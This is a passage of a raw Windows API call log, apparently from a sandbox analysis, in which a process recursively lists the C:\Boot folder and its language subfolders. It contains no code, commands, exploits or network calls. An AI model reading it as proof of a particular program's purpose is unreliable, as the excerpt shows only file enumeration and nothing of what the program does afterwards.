cAlternateFileName="")) returned 1 [0074.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.078] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.078] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.078] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.079] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.079] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0074.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.079] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.079] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.079] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.080] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.080] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0074.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.080] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.080] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.081] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.081] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.081] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0074.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.082] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.082] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.082] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.082] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.082] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0074.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.082] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.083] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.083] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0074.083] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.083] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.083] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0074.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.084] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.084] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.084] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.084] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.084] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0074.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.085] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.085] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.085] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.085] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.086] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.086] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.130] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.130] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.131] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.131] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0074.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.131] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.131] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.132] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.132] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.132] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0074.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.132] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.133] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.133] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.134] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.134] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0074.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.134] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.135] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.135] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, 